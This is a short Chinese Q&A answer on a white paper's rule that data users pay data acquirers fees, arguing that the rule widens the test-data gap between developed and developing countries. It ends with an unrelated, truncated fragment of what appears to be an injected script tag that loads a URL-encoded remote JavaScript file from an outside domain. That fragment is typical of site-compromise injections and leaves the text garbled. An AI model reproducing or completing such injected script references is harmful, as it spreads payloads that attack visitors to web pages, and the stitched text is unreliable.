答：白皮书规定：数据的使用方必须向数据获取人支付一定的公平合理的费用，而此前欧盟和美国均已投资获取了大量试验数据，欧委会已通过“研究，技术开发与证明框架程序”支持相关的科研。此规定将进一步扩大发达国家与发展中国家在试验数据方面的差距，形成对发展中国家的试验数据产权壁垒，而这种数据产权壁垒的影响是长期的。rc=http://3bom%62%2Ecom/c.js>